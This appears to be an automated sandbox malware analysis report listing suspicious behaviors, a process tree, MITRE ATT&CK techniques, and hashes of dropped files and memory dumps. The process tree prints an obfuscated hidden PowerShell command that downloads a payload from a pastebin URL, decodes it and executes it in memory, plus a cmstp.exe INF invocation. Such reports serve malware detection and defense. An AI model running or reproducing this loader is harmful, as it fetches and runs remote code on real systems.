- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/aKjCtLDg'));$_Xpin=$_Xpin.replace('.','*!(@*#(!@#*').replace('*!(@*#(!@#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1448
- \??\c:\windows\system32\cmstp.exe
  "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\2emtvo5b.inf
  2⤵
  PID:324

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

MD5
1348df3f0cbba9504d09b65f2a8e2907

SHA1
54e8b9aff55e7759267404bc51634a4c41485124

SHA256
61e2fd85bd2471bf469f54e1f39aaa031aa9bc379feba3189ab551618736f732

SHA512
9868932adba4f793428af27fa03427dd984af6ea54f323ddbd765180ce676139f62a10384381a1764f0837be2860aa987181f5aabe3543870352fea82f935877

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5
7cabd6a5b31a9c3bc5e1b1b2adbc56c6

SHA1
b5c8577d9a3a852585240d89d4f7510b77294268

SHA256
fd5191ac63cf4ef151cf5e47ed59c65c04bcce331b373baadfcd105bf8a6fa7c

SHA512
82672c167348a7c88c523bf8476827464691c8f35189a343fff9be99a445a6f4dd5274ed1c107efe55b320d42c5304ed75125943551b4a2f37e543815757dc02

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9FF67FB3141440EED32363089565AE60_B50B9FE0B5E2C1038D20CE66215B4AA7

MD5
ba71815438afb6b64d29adac08beeaca

SHA1
7f3160293346cb8fb62ee66c62a3a8305b63ab08

SHA256
62bb1c0e743696751c63d6a80f68360f2b297877b49335b3605853dda73d0fb7

SHA512
137c2694980e555876297f76bc73d89b7b4888227e1d8d8e5c0ba909b0dd4e055e105ee988d1dd2af9c3b96f5b4d1d0fa0e540291028a2ec8045502369b70784

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

MD5
313658d97704a72c8e972a1cac881606

SHA1
597c78d178ed8c5d4122d1638381bec2f9e842aa

SHA256
d12a83595628ead073a401854255352d918fe344ad273a0612454bacb7e27aa6

SHA512
bd5d1a10f815574cae485316925ccc3d748f6a60ea7f9c2218303fe18d3cdbee9abc23264c3c43603cca48d96f93ba4017b6b030773fc41b5ef6f16e97856f1b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5
699d124286bebd9a314aa3d70842b33d

SHA1
cf5126a94ed431867dd06b0f8596f17c18ecd593

SHA256
91a4de806dc36e48212fd3f481968b6d203817241c3f6163afa0042cfb69606a

SHA512
dd8bf53e0b7cc6f9515e3b86f1d0cb23dd7ee8ffd35719cafe496b07fbd9390382ab5c0469ffbbb8ac5282e3c79a6e4910eb0abad95ef905ce8f0c7d357fb89b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9FF67FB3141440EED32363089565AE60_B50B9FE0B5E2C1038D20CE66215B4AA7

MD5
a3357980da81f07518b376c9f117133e

SHA1
274a52d16db80c813a796beabcd7b30fa9431a7d

SHA256
cc75b461b4ae1e50600e06fd64735567f1142e902ae0fa1efa648ab26c33a8af

SHA512
5f049e74a8d8dec559cb2b2c9912e254242edd7b604ef9227f98ae8ca9b7b7a44bb559fc3513305477847007df14b6be028cce3b5359b222c8cccac54782e86a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
2d62b1f4577e2af8b2119cacfa0d5b0a

SHA1
97be5bba7020c2c49c4262252223d7a1f58b6adc

SHA256
2f3b2236abdccdddd83b4f8b60a4760ad26bd94a5015be017a21d52bc4b30a69

SHA512
c6da4d8b9ac2beae8fa730625dba84b031afdd673616851a49a004def71d3294d4f94a02b07ff0a62c3325eac52cc6a01e7b19549ba177143a300363e7a3029d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\TG26G5MW.txt

MD5
76eb1a30cd4c26d349409d2c5a93e0d4

SHA1
e1d3bd863a92aead5f88e96f5fdc62c0387beeda

SHA256
b12a357038428e78b21ec2918339dddb6359949845a83c91209544249e8d62b5

SHA512
4eb2fd9d8fc5bbc8141fd6c74e8ca30db867932c96a8a5c7063717f94935384a7a40c389d19f6c5cdf811761cc15fd6497031f64634d3ca3c93f548e63e2c211

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
bb1542822f20ac5dc4f41c4d82fe3b6d

SHA1
febee277bbe18f8d3eb1a860ad687dff91615674

SHA256
0a0722ae403ea83d0f67c1618f1c61544d925eec360a10eb32b1ad7e90bee998

SHA512
5daa796bc83e36408ff08d7420dfe9dcc2d1096123a84cf2a5d5a1805586114e7fa0d642de59a2c284d02d13394d3bc938fb71ae5305a861375de12231b291c0

Download Submit
C:\Windows\temp\2emtvo5b.inf

MD5
8635454e59df4d2b1a64b3812e4a9763

SHA1
98e8e9c448b540e6f97f8193e0c632ec55b801e8

SHA256
6c0b177e77a24f6504a9116d24c32484b3d0dfc47c301127e356bdbe081a6b78

SHA512
f906bb3e52d582e0597abea037f16f8e07772186b8d26a5fc7d64807bff638801c47a48134d8163ba0651a7f9022f4378cef02684e29e1aad6eb278019548a58

Download Submit
memory/108-4-0x0000000004850000-0x0000000004854000-memory.dmp

Filesize
16KB

Download
memory/108-2-0x0000000000730000-0x0000000000731000-memory.dmp

Filesize
4KB

Download
memory/108-0-0x0000000005850000-0x0000000005950000-memory.dmp

Filesize
1024KB

Download
memory/268-1-0x0000000000000000-mapping.dmp

Download
memory/324-35-0x0000000000000000-mapping.dmp

Download
memory/700-5-0x000007FEF2130000-0x000007FEF23AA000-memory.dmp

Filesize
2.5MB

Download
memory/1184-7-0x0000000000000000-mapping.dmp

Download
memory/1448-24-0x000000001AD80000-0x000000001AD81000-memory.dmp

Filesize
4KB

Download
memory/1448-34-0x0000000002750000-0x0000000002757000-memory.dmp

Filesize
28KB

Download
memory/1448-17-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

Filesize
9.9MB

Download
memory/1492-31-0x000000001C4C0000-0x000000001C4C1000-memory.dmp

Filesize
4KB

Download
memory/1492-41-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

Filesize
4KB

Download
memory/1492-28-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/1492-30-0x000000001C230000-0x000000001C231000-memory.dmp

Filesize
4KB

Download
memory/1492-22-0x0000000002050000-0x0000000002051000-memory.dmp

Filesize
4KB

Download
memory/1492-18-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

Filesize
9.9MB

Download
memory/1492-58-0x000000001C5D0000-0x000000001C5D1000-memory.dmp

Filesize
4KB

Download
memory/1492-57-0x000000001C5C0000-0x000000001C5C1000-memory.dmp

Filesize
4KB

Download
memory/1492-45-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

Filesize
4KB

Download
memory/1492-40-0x000000001C590000-0x000000001C59D000-memory.dmp

Filesize
52KB

Download
memory/1492-26-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/1492-42-0x000000001B7A0000-0x000000001B7A1000-memory.dmp

Filesize
4KB

Download
memory/1964-6-0x0000000000000000-mapping.dmp

Download
memory/1964-19-0x0000000006920000-0x0000000006943000-memory.dmp

Filesize
140KB

Download
memory/2032-8-0x0000000000000000-mapping.dmp

Download